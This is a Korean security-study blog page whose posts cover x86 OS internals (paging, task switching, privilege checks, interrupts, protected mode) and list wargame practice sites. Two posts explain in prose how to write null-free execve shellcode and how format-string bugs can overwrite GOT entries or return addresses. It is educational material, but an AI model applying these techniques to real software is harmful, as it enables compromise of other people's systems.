Be myself :: '분류 전체보기' 카테고리의 글 목록 (11 Page)

달력

42024  이전 다음

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30

'분류 전체보기'에 해당되는 글 116건

  1. 2014.05.05 7. 페이징
  2. 2014.05.05 6. 유저모드 Task switching
  3. 2014.05.05 5. 보호
  4. 2014.05.05 4. Task switching
  5. 2014.05.05 3. 인터럽트 처리
  6. 2014.05.05 워게임 사이트
  7. 2014.05.05 간단한 Shellcode 만들기
  8. 2014.05.05 2. Protected 모드로의 전환
  9. 2014.05.04 FSB공격 정리
  10. 2014.05.04 BOF원정대 level3

1 개요

페이징 기법을 이해하면 RAM이 512Mbyte 밖에 안되는데 32비트 시스템에서 4G에 해당하는 메모리를 각 프로세스마다 할당되는지 이해 할 수 있을 것이다.

*선형주소: 프로그램상에서 만들어진 주소
물리주소: 실제 하드웨어인 RAM의 핀에 전기신호를 주어 위치를 지정하는 주소

2 페이징 구현

2-1 A20게이트

16비트 리얼 모드에선 오프셋 값으로 물리주소를 지정하는데, 0xFFFF:FFFF의 경우 물리주소로 나타내면 0x10FFEF이다. 이를 이진수로 나타내면 100001111111111101111이다. 과거 8086CPU에서 어드레스 라인이 0번에서 19번으로 20개가 존재했기 때문에 위의 주소에서 최상위 비트 1은 제외되었었다. 하지만 80286이 도입되면서 어드레스 라인이 24개가 되어 21번째 피트가 제외될 필요가 없게 되었다. 하지만 과거 8086CPU의 호환성 문제 때문에 A20에 키보드 컨트롤러를 AND게이트로 묶어 활용하게 되었다. 키보드 컨트롤러가 1이면 20번째 비트는 사용가능하고, 0이면 사용 불가능하다. 만약 A20게이트가 0이라면 홀수의 주소밖에 사용 할 수 없기 때문에 32비트로 완벽히 전환하려면 보통 A20게이트를 키고 프로그램을 짠다.

2-2 페이징 구현

페이징 구현의 과정을 그림을 통해 설명하겠다. 페이지 디렉토리의 크기는 1KB이고 총 1024개의 디렉토리 엔트리로 이루어 져 있다. 페이지 테이블의 크기도 1KB이고 총 1024개의 테이블 엔트리로 이루어져 있다. 1개의 페이지 디렉토리와 1개의 페이지 테이블로 총 4KB의 값을 표현할 수 있으므로 전체 표현 가능한 주소의 크기는 페이지 디렉토리 1KB X 페이지 테이블 1KB X 총 4KB페이지 = 4G 라는 값이 성립된다.

'컴퓨터구조&OS > OS' 카테고리의 다른 글

6. 유저모드 Task switching  (0) 2014.05.05
5. 보호  (0) 2014.05.05
4. Task switching  (0) 2014.05.05
3. 인터럽트 처리  (0) 2014.05.05
2. Protected 모드로의 전환  (0) 2014.05.05
Posted by flack3r
|

1 개요

유저모드의 Task switching 이 어떻게 일어나는지 살펴보고, 그를 위해 준비해야 할 것들이 무엇인지 알아보자. 여기서 주목할 점은, 태스크 스위칭에 따른 스택과 메모리의 변화가 어떻게 되는지 이다.

2 유저모드 태스크 스위칭

2-1 설정할 것

먼저 당연한 것이지만, 유저모드 세그먼트를 설정한다. GDT테이블에 DPL값3으로 등록하고, 디스크립터 셀렉터 번호도 RPL값 3으로 설정한다. 다음으로 콜게이트를 설정한다. 태스크 스위칭을 할 때, 콜게이트를 이용하여 할 것이기 때문이다.

2-2 커널->유저모드

먼저 또한 각 세그먼트들을 유저 데이터 셀렉터로 변경하고 esp도 유저모드가 쓸 esp로 변경한다. 그리고 여기서 우리는 하나의 트릭을 이용할 것이다. 앞 장에서 콜게이트가 호출 되었을 때 유저->커널과 커널->유저모드로 스택이 어떻게 변하는지 살펴 봤다. 우리는 커널->유저모드로 스택이 변해가는 과정을 이용할 것이다. 즉, 스택에 SS, ESP, CS, EIP, ES, EAX등을 PUSH하고 iret명령을 사용한다면, 자동적으로 레지스터 값들이 POP되면서 유저영역의 레지스터 들로 맞추어 져 모드 전환이 이루어 진다.

2-3 유저모드 멀티태스킹

유저모드에서 멀티태스킹이 어떻게 이루어 지는지 살펴보자. 유저모드에서 콜게이트나 트랩게이트를 이용하여 커널모드로 접근 했을 시 스택이 어떻게 변하는지 앞에서 살펴 보았다. 다시 한번 그림으로 파악해 보자.

이렇듯, 모드 전환이 이루어 지면 각종 레지스터의 값들이 자동적으로 스택에 PUSH된다. 이 점을 이용하여 FLAG값이나 DS값들 등 다른 값들도 PUSH한 후 별도로 마련해 놓은(TSS영역의 역할과 같다)메모리에 저장하고, 모두 저장하고 난 후 ESP값을 조절 한 후 새로 실행할 프로세스의 레지스터 저장 영역에서 값을 PUSH하여 콜게이트 핸들러의 수행명령이 끝난 후 iret명령으로 인하여 레지스터 들은 새로 실행할 프로세스의 레지스터로 세팅되고 결과적으로 컨텍스트 스위칭이 일어난 것이 되었다.

'컴퓨터구조&OS > OS' 카테고리의 다른 글

7. 페이징  (0) 2014.05.05
5. 보호  (0) 2014.05.05
4. Task switching  (0) 2014.05.05
3. 인터럽트 처리  (0) 2014.05.05
2. Protected 모드로의 전환  (0) 2014.05.05
Posted by flack3r
|

5. 보호

컴퓨터구조&OS/OS 2014. 5. 5. 21:23

1 개요

CPU는 때때로 커널과 함께 명령어들을 체크해 문제가 일어나지 않도록 검사한다. 합당한 명령어만 실행시키고 그렇지 않으면 커널이나 유저프로그램 자신이 이 에러를 다시 조정하도록 한다. 이 때, 체크하는 것으로는 다음과 같은 것이 있다.
1.프로그램 또는 프로세스가 세그먼트 외의 메모리 위치를 지정하지 못하게 하는 Limit Check
2.읽기, 쓰기 등의 속성에 맞게 접근되었는지 확인하는 type검사
3.접근 가능한 곳에 접근하는지 확인하는 특권레벨 체크,
4.명령어 세트 체크

위의 4가지를 검사하는데, 우리는 특권레벨과 관련된 내용을 공부할 것이다.

2 특권레벨

특권레벨과 관련된 용어를 설명하고, 특권레벨이 낮은 계층에서 레벨이 높은 계층으로 접근하는 방법들과 그 때의 스택의 변화를 알아볼 것이다.

2-1 용어 설명

-CPL(Current Privilege Level)
: CPL은 현재 실행되고 있는 특권레벨이다. CS, SS셀렉터 레지스터의 0,1번째 비트에 있는 수이다.

-DPL(Description Privilege Level)
: 디스크립터에 기재된 DPL값이고 2비트로 표현된다. 디스크립터를 통한 세그먼트 영역으로의 모든 접근에서 항상 CPL과 DPL의 관계가 체크된다.

-RPL(Requested Privilege Level)
: 콜게이트(낮은 특권레벨에서 높은 특권레벨의 루틴을 사용할 수 있게 하는 관문)를 통해 레벨이 낮은 프로세스가 높은 프로세스에 접근하는 일이 생기는데, 이를 악용할 소지를 없애기 위해 어느 레벨에서 요청했는지 적어놓는 역할을 한다.

-콜게이트
: 다른 세그먼트 디스크립터와 함께 GDT테이블에 디스크립터로써 포함되며, 또 하나의 세그먼트 정의라 셍각하여도 좋다. 유저 프로그램은 코드 셀렉터의 사용법과 마찬가지로 이 디스크립터를 셀렉터로 설정하여 Jmp나 Call명령을 내린다.

<콜게이트 디스크립터>

 

2-2 특권계층 변경

특권계층이 변경되는 상황을 알아 보겠다.
예외가 발생했을 때. (0으로 나눈다던지, Limit크기를 넘어 가는 접근을 한다던지 등)
하드웨어 인터럽트가 발생 했을 때
소프트웨어 인터럽트가 발생 했을 때(int 0x80 명령어로 트랩 게이트이용)
콜게이트 이용—Jmp, Call

이 중, 1번과 2번은 프로그래머의 의지와는 상관 없이 레벨변경이 일어나는 상황이므로, 우리가 관심을 가져야 할 부분은 3번과 4번이다. 3번의 경우, eax, ebx, ecx등의 레지스터를 이용해 인수를 정하고, int 0x80명령어로 인터럽트하는 수순으로 이루어 진다. 보통 셸코드 작성시 많이 사용하는 방법이다.

콜게이트를 이용해 계층을 변경하는 방식으론 Jmp와 Call이 있는데 원칙적으론, Jmp명령을 사용하여 계층변경은 불가능하지만 콜게이트를 이용해 가능하게 된 것이고, Call 명령은 낮은 특권계층에서 높은 특권계층으로의 접근을, RET는 높은 계층에서 낮은 계층으로의 전환을 담당한다.

Call 명령을 통해 계층변환이 이루어 지는 방식은 레벨3에서 call 명령으로 레벨0 루틴을 불러 내면 CS셀렉터의 0,1의 비트에 00 이 들어가고, 이때의 CPL은 0이다. 루틴이 끝난 후 RET로 레벨3으로 돌아가게 되는데 이때는 CS셀렉터의 0,1비트에 11(십진수 3)이 들어가고 CPL은 3이된다.

 

2-3 특권레벨 변동시 스택의 변화

일단 설명을 먼저 한 후 그림을 통해 정리하드록 하겠다.

<Call 명령이 내려졌을 때>

CPU는 이 태스크의 TSS영역에 있는 SS0와 ESP0값을 참조하여 커널모드 스택에 현재 유저태스크가 사용하고 있는 SS,ESP,CS,EIP를 차례로 PUSH한다. 그리고 SS와 ESP레지스터에 SS0와 ESP0의 값을 넣는다
콜게이트에 지정된 커널모드의 루틴주소로 점프하고 실행
RET명령시 스택에 저장된 EIP, ESP등을 pop하여 원레 레지스터 값으로 복원한다.
*인자가 있을 시 콜게이트 디스크립터에 입력된 인자의 갯수 만큼을 준수한다.

<인터럽트 예외가 발생 했을 때>

이 때는 EFLAGS가 ESP와 CS사이에 추가된 것만 빼면 콜게이트와 다를 것이 없다. 단지 특권계층 0 에서 인터럽트가 발생하면 ESP와 SS는 PUSH될 필요가 없다는 것만 주의하면 된다.

'컴퓨터구조&OS > OS' 카테고리의 다른 글

7. 페이징  (0) 2014.05.05
6. 유저모드 Task switching  (0) 2014.05.05
4. Task switching  (0) 2014.05.05
3. 인터럽트 처리  (0) 2014.05.05
2. Protected 모드로의 전환  (0) 2014.05.05
Posted by flack3r
|

1 개요

이제 OS의 핵심적인 역할이라 볼 수 있는(필자의 생각에..ㅎㅎ) 멀티 태스킹이 어떻게 구현되는지 살펴보겠다. 일단, 커널단 에서의 멀티 태스킹을 살펴보고, 다음 장에서 세그먼트 보호의 개념을 다룬 후 유저영역에서의 멀티 태스킹을 살펴볼 예정이다. CPU에서 지원하는 멀티 태스킹 기술은 2가지가 있다. Call과 Jmp를 이용한 방법이 그것이다. 각 방법들을 하나하나 살펴보자.

2 태스크 스위칭과 tss

참고로 Real mode에선 멀티 태스킹이 지원이 되지 않는다. 따라서 멀티 태스킹은 protected mode에서 작동되고 인텔 80286이상에서 태스크 스위칭을 cpu레벨에서 지원한다.
여기서 멀티 태스킹이 무엇인지 짚어보고 가자. 말 그대로 음악을 들으면서 문서작업을 하거나 영화를 보면서 인터넷을 하거나 등의 여러 가지 일을 동시에 하는 것을 나타낸다. 하나의 프로그램을 실행시켰을 때, 하나의 '프로세스'가 생성되는데, cpu는 동시에 같은 프로세스를 처리 할 수 없다. 그렇다면 어떻게 멀티 태스킹이 된단 말인가?
이는 컨텍스트 스위칭 이라는 마술적인 기법을 사용하기 때문이다. 일정한 시간이 되거나, 어떠한 조건이 만족되면, OS의 스케줄러는 실행되고 있는 프로세스관련 메모리를 어떠한 메모리 영역에 저장을 하고 새로 시작되는 프로세스의 메모리들을 로드시켜 연산을 하는 것이다.
그렇다면 어떠한 메모리 영역에 저장을 시켜야 할까? 그것이 바로 TSS(Task state segment)이다.

TSS를 등록하기 위해선 TSS디스크립터를 GDT에 지정시켜 둔다.일단, TSS의 생김새부터 보고 가자.

그림의 설명을 보면 이해가 될 것이다.

그 다음 TSS를 선택하는 TSS세그먼트 디스크립터를 볼 순서인데, GDT의 생김새와 별 차이가 없고 Limit부분이 항상 0x67이상이어야 한다는 점과, Type에 B비트가 있는데, 이 부분은 이 태스크가 실행 중인지 혹은 실행을 기다리고 있는지를 나타내는 점이 다를 뿐이다. 따라서 별도의 그림은 생략한다.

2-1 JMP를 이용한 스위칭

지금까지 기본 배경지식을 알아 보았고 JMP를 이용한 스위칭 과정이 어떻게 되는지 그림을 통해 설명하겠다.

1. 프로그램이 Protected mode로 넘어오고 LTR명령으로 TSS영역을 저장한 후에 JMP TSS selector명령을 한다.
2. CPU내부의 TR레지스터와 GDTR레지스터를 참조하여 GDT에 있는 TSS selector를 찾는다.
3. TSS selector의 base Address를 참조하여 tss1영역을 찾는다.
4. Tss1영역에 현재 CPU레지스터값 저장
5. GDT에서 Tss2 디스크립터를 찾는다. 이 때, TR레지스터에 Tss 2 selector가 들어간다.
6. Tss 2 selector의 base Address를 참조하여 tss2 영역을 찾는다.
7. Tss2영역의 값 복원
8. 프로그램 실행.

2-2 Call명령을 이용한 스위칭

Call방식이 Jmp방식과 다른 점은 명령어 상에서 Jmp대신 Call을 한다는 점과 이전 태스크로 돌아가는 부분이 IRET로 바뀌는 것 뿐이다. 여기서 주의할 것은 IRET명령어가 인터럽트의 끝을 알리는 명령어와 동일하기 때문에 이를 구별하기 위해 TSS디스크립터의 B비트와 EFLAGS의 NT비트를 이용한다.

또 다른 차이점은 Call명령의 경우 비선점형 방식이라 실행되는 태스크에서 다른 태스크로 전환하는 명령을 수동으로 해 주어야 하는 반면 Jmp명령어는 컨텍스트 스위칭이 자유롭긴 하지만 유저모드의 태스크를 스위칭 하는데에는 약간의 문제점을 가지고 있다.

그럼, Call명령을 사용한 스위칭의 과정이 어떻게 이루어 지는지 그림을 통해 정리하고 끝을 내겠다.

 

'컴퓨터구조&OS > OS' 카테고리의 다른 글

6. 유저모드 Task switching  (0) 2014.05.05
5. 보호  (0) 2014.05.05
3. 인터럽트 처리  (0) 2014.05.05
2. Protected 모드로의 전환  (0) 2014.05.05
메모리 구조  (0) 2014.05.04
Posted by flack3r
|

1 개요

인터럽트는 일반적인 의미로는 무엇인가를 방해한다는 뜻이다. 하지만 컴퓨터에선 방해한다는 의미보단, 우선순위가 높은 일을 먼저 처리하라고 알려주는 의미가 더 강하다. 인터럽트에 의해 우리는 마우스의 움직임, 키보드의 입력 등을 처리할 수 있는 것이다. 그렇다면 이러한 인터럽트를 어떻게 커널에서 처리하는지 그림으로 대략적인 개념을 잡고 가겠다.

 

 

 

 

 

 

 

 

 

 

 

 

 

2 PIC란??

인터럽트의 처리루틴을 가진 테이블(IDT)를 알아보기 전에 PIC의 개념을 잡고 가자. PC는 모든 외부로부터의 인터럽트(모니터, 마우스, 프린터, 스피커 등)을 8259A라는 칩을 통하여 입력 받는다. 이 8259A를 보통 PIC라 부른다. 여기까지만 말하면 PIC와 IDT가 무슨 연관인지 궁금해 질 것이다. 인터럽트가 처리되는 과정은, PIC에서 IRQ(인터럽트 처리 요청)을 받아 CPU의 INT포트에게 신호를 보내고, CPU에선 이 IRQ 번호를 이용해 IDT테이블에서 어떤 핸들러를 실행 시킬지 선택한 후, 인터럽트를 처리시킨다. 좀더 자세한 과정을 그림을 통해 알아보자.

Master PIC와 Slave PIC 각각의 작동순서를 살펴보면서 큰 흐름을 잡자. 일단 하인(?) 은 주인(?)의 IRQ 2번에 연결되어 있다. (왜 2번인지는 IBM의 고객센터에 따지자.) 그리고 각 장치들에서 IRQ요청이 왔다는 가정을 하자.

2-1. Master PIC동작 순서

자신의 INT핀에 신호를 실어 CPU의 INT피에 신호를 준다.
CPU는 이 신호를 받아 EFLAGS의 레지스터의 IE비트가 1로 세팅되어 인터럽트를 받을 수 있는 상황이라면 /INTA를 통해 마스터 PIC에 인터럽트를 잘 받았다는 신호를 보낸다.
마스터 PIC는 /INTA신호를 받고 몇 번째 IRQ에 연결된 장치에서 인터럽트 신호를 받았는지 숫자로 데이터 어드레스로 CPU에 전달한다.
CPU는 Protected Mode로 실행 중 이라면, 이 값을 리맵핑하여(IRQ번호를 바꿈) IDT에서 그 번호에 맞는 디스크립터를 찾아 처리한다.

여기서 리맵핑을 하는 이유는, 하드웨어 인터럽트와 예외상황 에서의 인터럽트를 구분하기 위해서 이다. CPU는 프로그래머가 시스템에 크거나 작은 충격이나 오류를 줄 수 있는 명령어를 실행시키는 것을 방지하기 위하여 예외처리를 하는데, 이 때 IRQ의 번호가 0번부터 시작해 PIC에서 받은 IRQ번호와 충돌이 일어 난다. 따라서, PIC에서 받은 IRQ번호를 리맵핑 한다.

2-2. Slave PIC동작 순서

자신의 INT핀에 신호를 실어 마스터 PIC의 IRQ2번핀에 인터럽트 신호를 보낸다.
마스터 PIC는 자신의 INT번호에 신호를 실어 CPU에게 전달한다.
그 이후는 마스터PIC의 처리 순서와 동일하다.

2-3. PIC초기화

PIC를 제대로 동작시키게 하기 위해선, PIC를 초기화시킬 필요가 있다. 각 PIC가 자신이 마스터인지 슬레이브인지 알아야 하고, 어떤 모드로 움직일지 등을 설정해야 하기 때문이다. 초기화 명령 프로그램의 구성은 ICW1, ICW2, ICW3, ICW4로 구성되는데 ICW는 하나의 명령어로 생각하자.

ICW1.

ICW2

ICW2는 PIC가 인터럽트를 받았을 때, IRQ번호에 얼마를 더해 CPU에게 알려줄지 지정한다. 즉 IRQ번호 리맵핑의 역할을 한다.

ICW3
PIC의 마스터, 슬레이브로서의 연결방법을 나타낸다. (마스터PIC)
S0~S7은 마스터 PIC의 각 IRQ선을 나타낸다. 각 비트에 0을 넣으면 그 IRQ선은 하드웨어 장치에 연결되어 있다는 것을 뜻하고, 비트에 1이 있으면, 그 IRQ선은 슬레이브 PIC가 연결되어 있다는 것을 나타낸다. (슬레이브 PIC)
3~7비트는 0으로 해두고 ID0~ID2는 Slave PIC가 Master PIC의 몇 째 IRQ에 연결되어 있는지 나타내는데 마스터 PIC에선 1로 나타내는 반면 여기선 숫자로 나타낸다.

ICW4

3 idt의 동작

PIC에서 인터럽트가 와 이를 CPU에서 어떤 순서로 처리하는지 등을 알아 보겠다.

3-1. Idt등록

동작 순서를 알아 보기 전에 IDT(Interrupt Descriptor Table)이 어떻게 생겼는지 알아 보자.

P는 페이지와 관련되어 있는데 항상 1이다 DPL은 핸들러가 실행될 특권레벨을 나타내고, D는 0이면 16비트, 1이면 32비트임을 나타낸다.

이러한 IDT를 IDTR레지스터에 등록하여 참조될 수 있도록 한다.

3-2 IDT동작 순서

그림으로 정리하고 이번 장을 마치겠다.

'컴퓨터구조&OS > OS' 카테고리의 다른 글

5. 보호  (0) 2014.05.05
4. Task switching  (0) 2014.05.05
2. Protected 모드로의 전환  (0) 2014.05.05
메모리 구조  (0) 2014.05.04
1.OS의 시작  (0) 2014.05.04
Posted by flack3r
|

워게임 사이트

Wargame 2014. 5. 5. 14:15

침투테스트 가상환경을 샌드박스 형태로 제공하여, 온라인상에서 모의해킹을 해볼수 있는 사이트

https://hack.me/

   

OWASP에서 웹 취약점 테스트를 위해 제공하는 VM웨어용 가상이미지 파일 다운로드 및 프로젝트 페이지

http://sourceforge.net/projects/owaspbwa/files/

   

각종 리눅스용 VM이미지를 다운받을 수 있는 사이트

http://www.thoughtpolice.co.uk/

   

온라인상으로 프로그래밍언어를 실행하고 컴파일할 수 있는 사이트

http://compileonline.com/

   

취약한 웹 어플리케이션 소스를 제공하는 사이트

http://www.dvwa.co.uk/

   

온라인 모의해킹 사이트

http://hack-me.org/index.php?p=home

   

OWASP 취약점을 바탕으로한 취약점 테스팅 가상환경

http://sourceforge.net/projects/vicnum/

   

리눅스, 아파치, PHP, MySQL의 보안을 학습하기 위한 가상환경을 제공

http://sourceforge.net/projects/lampsecurity/

   

웹취약점 테스트를 하기 위해 제작된 가상이미지

http://sourceforge.net/projects/websecuritydojo/

   

다양한 환경에서 악의적인 코드를 분석할 수 있는 가상머신

http://bruteforce.gr/honeydrive

   

웹취약점 테스트 환경을 제공하는 사이트

https://www.pentesterlab.com/exercises

   

웹해킹 전문가가 만든 침투테스트를 위한 가상 이미지

https://bechtsoudis.com/work-stuff/challenges/drunk-admin-web-hacking-challenge/

   

다양한 모의 해킹를 실습하고 트레이닝할 수 있는 기능을 제공하는 툴

http://sourceforge.net/projects/null-gameover/

   

SQL 인젝션을 테스트하고 실험해 볼 수 있는 환경(소스)를 제공하는 사이트

https://github.com/Audi-1/sqli-labs

   

침투테스트 환경을 제공(DVL)

http://sourceforge.jp/projects/sfnet_virtualhacking/downloads/os/dvl/DVL_1.5_Infectious_Disease.iso/

   

모의해킹 연습 사이트 링크 모음

http://chogar.blog.me/80130034776

   

모의해킹 관련 정보를 제공하는 사이트 (아래 그림 출처)

http://www.amanhardikar.com/mindmaps/PracticewithURLs.html 

 

[출처] 모의해킹을 연습할 수 있는 환경을 제공하는 사이트|작성자 Exception

   

'Wargame' 카테고리의 다른 글

Fc3 dark_eyes  (0) 2014.08.22
Suninatas all clear  (3) 2014.07.25
워게임 현황  (0) 2014.07.01
CodeEngn 베이직 올클  (0) 2014.05.14
BOF원정대 level3  (0) 2014.05.04
Posted by flack3r
|

   

그냥 인터럽트 걸고 eax,ebx,ecx,exd 나 mov and sub 명령어를 막쓰면,, 저렇게 널바이트가 생긴다.

널바이트가 생기면 위에서 사진에서 보이듯이 우리가 원하는 실행결과가 나오지 않는다.

따라서 널바이트를 생기지 않게 하기 위해 명렁을 간결하고 메모리를 최소한 이용해서 짜야한다.

일단 문자열을 레지스터에 등록하기 위해 함수를 호출하면 리턴주소가 쓰인다는 점을 이용해서 함수 호출 후 pop해 ecx에 문자열 주소값을 등록하는 과정을 볼 수 있다. 이때, 함수 호출 부분을 제일 밑으로 내린 이유는, 처음에 부분에 쓰면 양의 값으로 주소값이 증가되기 때문에, 이부분에서 null바이트가 생길 수 있다. 따라서 밑에서 쓰고, 나머지 명령어들은 mov는 자제하고 쓸 경우 al,bl,cl,dl등을 이용하고 숫자 증가 inc나 dec명령어 등을 입력해 셸코드를 최소화 한다.

   

이런식으로 작성을 완료하면 널바이트 없이 셸코드가 완성된다.

------------------------------------------------------------------------------------------

                                                          <본격적으로 만들기>

사실 위와 같이 함수를 이용해 독자적인 셸코드를 생성할 수 있지만, 좀 더 경량화된 셸코드를 생성하기 위해선 스택을 이용할 필요가 있다. 즉, 스택에 아스키코드로 문자열을 하나하나 올려 (mov 대상 esp) 처럼 쓴다면, 함수 호출로 인한 코드의 수가 줄어 들 것이다. 사진을 한번 보자.

위와 같이 완성될 수 있다.

execve 시스템 콜 번호는 11번이다.

   

여기서 더 작게 만드는 방법이 있다.

바로 cdq(Convert Doubleword to Quadword)라는 명령어와, 스택을 이용하는 방법이다.

cdq를 이용하는 방법은 다음과 같다.

사실 cdq는 32비트 정수에서 64비트 정수로 확장하는 개념인데, 동작상 EAX부호 비트가 0이면 EDX레지스터도 0으로 만든다.

스택을 이용하는 방법은 eax에서 시스템 콜번호를 쓸때 mov 대신, push BYTE 0xb 한다음 pop eax하면 코드가 1바이트 더 작아진다.

출처: 해킹과 공격의 예술 공부중 정리

'Exploit' 카테고리의 다른 글

C++에서 VTable  (0) 2014.07.12
여러 보호기법  (0) 2014.07.11
SEH overwriting  (0) 2014.07.10
윈도우 BOF  (2) 2014.05.28
FSB공격 정리  (0) 2014.05.04
Posted by flack3r
|

1 개요

GDT(Global Descriptor Table)란 각종 Descriptor의 테이블을 가지고 있는 것이다. 각종 세그먼트나 여러 가지 테이블들이 어떻게 구성되어 있는지 적어놓은 하나의 메모장이라 생각하여도 좋다. 필요성은 첫째, Real mode 에서 Protected 모드로 전환하기 위해 필요한 것이다. 각 세그먼트들을 나누어야 세그먼트들의 접근 유무를 확인할 수 있기 때문이다. 둘째, GDT는 IDT(Interrupt descriptor table)의 주소 값을 가지고 있어 인터럽트가 발생 하였을 때 어떤 처리를 할 것인지 결정하는 첫 번째 역할을 한다. 이 설명만으론 뭔가 부족하다. 다음 그림은 GDT가 설정되지 않았을 때 보이는 현상이다. 마우스를 표현 하였지만, 마우스가 움직이질 않는다. GDT에 IDT등록을 하지 않아서 이다.

그냥 그림이라 마우스가 움직이는지 그렇지 않은지 직접 확인은 하지 하지만, 움직이지 않는다.(믿어달라. 혹시 직접 확인해 보고 싶은 사람은 'OS구조와 원리'책을 참고하기 바란다.)

그럼, GDT가 왜 필요한지 알았으니, GDT를 만들어 어떻게 Protected모드로 전환되는지 먼저 살펴보고, 다음 글에서 인터럽트와 함께 IDT에 관한 부분을 살피겠다.

먼저 어떠한 순서로 Real Mode에서 Protected mode로 전환되는지 살펴 보겠다.

GDT 만들기 Protected Mode 레지스터 세팅 파이프라인 지우기 prefix를 사용한 점프

* real mode와 protected mode

real mode는 16비트로 동작하고, pc가 부팅할 때 처음 동작하는 cpu모드 이다. 이 영역에선 주소설정을 자유롭게 할 수 있어 악의적인 프로그래머가 커널영역의 메모리를 자유롭게 사용할 수 있어 os를 파괴하거나 등의 보안상의 문제가 발생할 수 있다.

반면 protected mode는 32비트로 동작하고, 각 세그먼트들의 속성값을 설정하여 각 세그먼트들의 접근을 보호한다.

2 protected mode로의 전환

2.1 GDT만들기

일단 GDT테이블에 등록되는 디스크립터의 생김새를 살펴 보자.

Limit 0~15bit

Base Address 0~15bit

P

DPL

S

type

Base Address 16~23bit

Base Address 24~31bit

G

D

0

AVL

Limit 16~19bit

<GDT 디스크립터>

위 그림에 대해 설명하자면, P는 페이징 기능과 관련되어 있고 일반적으로 1을 나타낸다. DPL은 보안과 관련되어 있는데 커널 레벨인지 유저레벨인지 나타낸다. 만약 셀렉터 레지스터의 RPL이 DPL보다 레벨이 높을 경우(예를 들어 유저영역에서 커널 영역으로 접근하려 할 시) 접근하지 못하도록 차단한다. S는 시스템 세그먼트인지 코드 세그먼트인지를 나타내고 type은 읽고 쓸수 있는지, 실행할 수 있는지 등을 나타낸다. G는 세그먼트 크기 단위를 나타내는데 0이면 BYTE고 1이면 4KB이다(즉, 4G사용) D비트는 이 세그먼트가 16비트인지 32비트로 작동하는지를 나타 낸다. Limit는 세그먼트 크기이고 Base Address는 세그먼트의 첫 시작 주소를 나타낸다. Base Address와 Limit가 왜 이렇게 나누어져 있는지는 예전 cpu와의 호환성 때문이다.

2.2 Protected mode 레지스터 세팅

이렇게 여러 개의 디스크립터로 만들어진 GDT를 등록해야 하는데, 이를 GDTR이라는 레지스터에 등록한다. 이 레지스터는 48비트 크기로 첫 16비트는 GDT의 크기가, 나머지 32비트엔 GDT의 시작주소가 물리주소로 들어간다.

이렇게 설정하면, 주소 지정은 어떻게 이루어 지는지 살펴보자. 세그먼트 레지스터는 16비트의 셀렉터 레지스터(CS,DS 등등..) 와 64비트 디스크립터 레지스터로 나뉘는데, 프로그래머가 사용할 수 있는 것은 셀렉터 레지스터일 뿐이다. 디스크립터 레지스터는 GDT디스크립터와 모양이 비슷하고 셀렉터 레지스터의 모양을 살펴 보자.

Index

TI

RPL

인덱스 값은 GDT에서 찾는 디스크립터가 어디에 위치하는지 찾는 값이고 RPL은 이 세그먼트가 커널영역인지 유저영역인지 확인하는 역할을 한다.

그럼 셀렉터 레지스터에 값을 넣었을 때 어떻게 동작하는지 살펴 보겠다.

그렇다면, 결과적으로 지금까지 디스크립터 레지스터에 값을 넣기 위한 일을 한 것이다. 이렇게 구한 디스크립터 레지스터의 Base Address의 값을 통해 Protected 모드에서의 주소 지정방법을 설명할 수 있다. 예를들어 [ds:0x65]라고 한다면, 0x65와 limit를 체크하여 세그먼트 크기를 넘지 않는지 확인하고 넘지 않는다면, Base Address의 값과 0x65의 값을 합하여 물리주소의 값을 구한다.

2.3 파이프라인 지우기

우선 파이프라인을 지우기 전에 CR0의 레지스터의 최하의 비트를 1로 바꾼다. 이 비트는 pe비트라고 하며 1로 바꾸면 32비트 시스템으로 동작한다.

CPU가 연산할 때, I/O bus interface에서 명령어를 가져오고, 해석하고, 실행하고, 데이터 메모리 엑세스등의 단계를 거치는데, 단계들 마다 명령어를 각각 실행시켜 빠르게 하는 것을 파이프 라이닝 이라 한다. 쉽게 말하자면, 각 단계들을 수행하는 장치들이, 하나의 명령어를 처리하고, 그 명령어의 단계가 끝날 때까지 기다리는 것이 아니라, 다음 명령어의 그 단계를 처리한다면 더 빠르게 처리할 수 있다는 것이다. 더 자세한 사항은 기회가 되면 설명하도록 하겠다. 이러한 특성 때문에 Real mode의 16비트에서 Protected mode의 32비트로 전환 시, 현재 Excute되는 명령어만 바꾸어야 할 뿐만 아니라 cpu유닛에 남아있는 다른 단계들의 값들을 지우거나, 32비트로 바꾸어 주는 과정을 거쳐야 한다. 여기서 바꾸어 주는 과정은 따로 명령어가 없기 때문에 불가능하고, 지우는 방법을 택한다.

2.4 Prefix를 사용한 점프

16비트 레지스터에서 32비트 레지스터로 바꾸기 위해 명령어에서 제일 앞에 0x66과 0x67을 붙이면 된다. 혹은 32비트에서 16비트로 변형시킬 때도 쓰인다. 0x66은 operand prefix인데, 명령어의 오퍼렌드의 값을 변형시킨다. 0x67은 address prefix인데 대상 주소값을 변형 시킨다.

'컴퓨터구조&OS > OS' 카테고리의 다른 글

5. 보호  (0) 2014.05.05
4. Task switching  (0) 2014.05.05
3. 인터럽트 처리  (0) 2014.05.05
메모리 구조  (0) 2014.05.04
1.OS의 시작  (0) 2014.05.04
Posted by flack3r
|

FSB공격 정리

Exploit 2014. 5. 4. 01:59

사실 포맷스트링 취약점이 존재하는 프로그램으로, 기본적으로 쓰기가 가능하고 프로그램 실행 흐름을 바꿀 수 잇는 주소라면 어디든지 공격 가능하다. 그 중, 셸을 획득하는 몇가지 기본적인 방법을 소개한다.

1. GOT(전역 오프셋 테이블)

프로그램은 실행될때 공유 라이브러리 항목이 같이 stack 에 올라가는데, 이 공유 라이브러리를 읽을때 테이블을 참조하게 된다. 이 테이블을 PTL(Procedure Linkage Table)이라 한다. 어떤 프로그램을 objdump로

이 섹션을 분석해보면 아래와 같다.




 

위에 보이는 0x8048308 주소에 보면 이 exit이 호출될때 0x8049784로 점프하는것을 볼 수 있다. 이 jump 명령을 조작해 셸코드를 실행 시키는 것 이다.

 

2. ret주소 덮기.

이는 버퍼 오버플로 공격에서도 많이 해왔던 공격이다. 이 ret주소값에 셸코드 주소를 올리면 되는데 보편적인 방법이 2가지 존재한다.

 

2-1. 환경변수

환경변수에 셸코드를 올리고 그 주소값을 계산한 후 ret에 덮는 공격이다.

2-2. 직접 셸코드 올리기

